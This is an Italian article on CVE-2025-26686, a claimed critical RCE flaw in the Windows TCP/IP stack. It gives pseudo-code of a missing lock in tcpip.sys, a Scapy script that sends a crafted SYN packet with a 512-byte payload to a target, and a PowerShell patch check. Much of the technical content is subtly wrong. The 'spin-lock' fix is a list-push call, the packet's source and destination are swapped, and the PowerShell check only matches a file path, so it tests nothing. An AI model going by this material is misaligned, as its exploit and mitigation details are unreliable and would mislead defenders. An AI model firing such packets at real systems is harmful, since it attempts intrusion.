
Una vulnerabilità RCE critica nello stack TCP/IP di Windows (CVE-2025-26686) lascia memoria sensibile sbloccata, consentendo a utenti malintenzionati remoti di compromettere i sistemi. Sfruttabile tramite rete, comporta il rischio di compromissione totale del sistema. Applicare la patch ora.
Una vulnerabilità critica di RCE nello stack TCP/IP di Windows (CVE-2025-26686) lascia memoria sensibile sbloccata, consentendo a un attaccante remoto di dirottare i sistemi. Sfruttabile attraverso la rete, rischia la compromissione totale. Applicare la patch ora
Di Mark Mallia
Tipo: Remote Code Execution (RCE)
Gravità: Critica
Vettore di attacco: Basato sulla rete
Sistemi interessati: Windows 10, 11 e versioni Server
Una nuova falla identificata come CVE‑2025‑26686 è stata scoperta nello stack TCP/IP di Microsoft. Deriva da un lock mancante su una regione critica della memoria che archivia chiavi crittografiche, dati di sessione o configurazione di rete. Poiché l'area non è protetta durante la gestione dei pacchetti, un attaccante può leggere o alterare quelle informazioni attraverso la rete e ottenere accesso a livello di amministratore locale.
Lo stack TCP/IP in Windows 10/11/Server non acquisisce uno spin-lock appropriato quando scrive in determinati buffer che contengono dati di sessione. Il lock mancante significa che due pacchetti possono competere tra loro, consentendo a un attaccante di inserire codice malevolo nel buffer prima che il processo originale completi la sua scrittura.
Punti chiave:
La vulnerabilità appare nel modulo tcpip.sys, in particolare attorno alla routine che elabora i segmenti TCP in entrata. Il percorso del codice responsabile dell'aggiornamento del blocco "dati di sessione" dovrebbe acquisire un lock prima di scrivere in memoria. Nelle recenti versioni di Windows il lock è omesso in un ramo condizionale, il che può portare a una scrittura non protetta.
Di seguito è mostrato un esempio minimale riproducibile (pseudo‑codice in stile C++).
// tcpip.sys – regione problematica
void TcpIpHandleSegment(Packet *p)
{
// … codice precedente …
if (p->flags & SYN_FLAG) {
/* lock mancante qui */
memcpy(&sessionData, p->payload, p->len);
// … codice successivo …
}
}
In una versione correttamente protetta la sezione critica sarebbe protetta da uno spin-lock interlocked:
// tcpip.sys – regione corretta
void TcpIpHandleSegment(Packet *p)
{
// … codice precedente …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … codice successivo …
}
}
La patch aggiunge una chiamata a _InterlockedPushEntrySList, che garantisce accesso esclusivo a sessionData durante il suo aggiornamento.
La vulnerabilità viene attivata quando un segmento TCP in entrata che trasporta il flag SYN raggiunge tcpip.sys.
Per fare corrispondere il pacchetto a quel percorso di codice, impostiamo i seguenti campi:
Layer Campo Valore tipico per CVE‑2025‑26686 IP src Indirizzo IP del host target (es. 10.0.0.10) dst IP dell'attaccante (es. 192.168.1.2) TCP sport Porta dell'attaccante (es. 4444) dport Porta in ascolto del servizio target (es. 80 per HTTP) flags "S" per SYN per attivare il ramo in TcpIpHandleSegment
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# Il payload trasporta i dati che sovrascriveranno sessionData in tcpip.sys.
payload = "ExploitKey" + "A"*512 # 512 byte di contenuto costruito
pkt = ip_layer / tcp_layer / Raw(load=payload)
A questo punto puoi verificare la struttura del pacchetto:
pkt.show()
L'output rivelerà campi come IP → src, dst; TCP → sport, dport, flags; e un payload Raw di 512 byte.
Questa è la sequenza esatta che Windows si aspetta quando elabora segmenti in entrata con il flag SYN.
send(pkt)
Il comando invia il pacchetto direttamente dalla tua macchina allo stack TCP/IP del host target.
Se stai eseguendo lo script su una VM Linux con Scapy installato, il pacchetto raggiungerà la macchina Windows e attiverà il percorso di codice in tcpip.sys.
Poiché l'attaccante può modificare la memoria che contiene chiavi crittografiche o configurazione di sessione, la falla consente:
Uno script di verifica rapida può essere usato per controllare la presenza del lock nel sistema:
# Verifica che la voce interlocked sia presente in tcpip.sys
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
Se PatchPresent restituisce $True, la mitigazione è attiva.
CVE-2025-26686 non è solo un'altra riga in un database di vulnerabilità: è un campanello d'allarme. Quando componenti fondamentali come lo stack TCP/IP vengono compromessi, gli effetti a catena possono farsi sentire in intere reti e settori. La falla ci ricorda che anche i sistemi più affidabili richiedono controllo e cura costanti.Come ingegneri e difensori, la nostra responsabilità non è solo comprendere queste vulnerabilità ma agire con integrità. Le informazioni qui condivise sono intese esclusivamente per un uso etico, per rafforzare le difese, informare un patching responsabile e consentire alle organizzazioni di proteggere i propri utenti.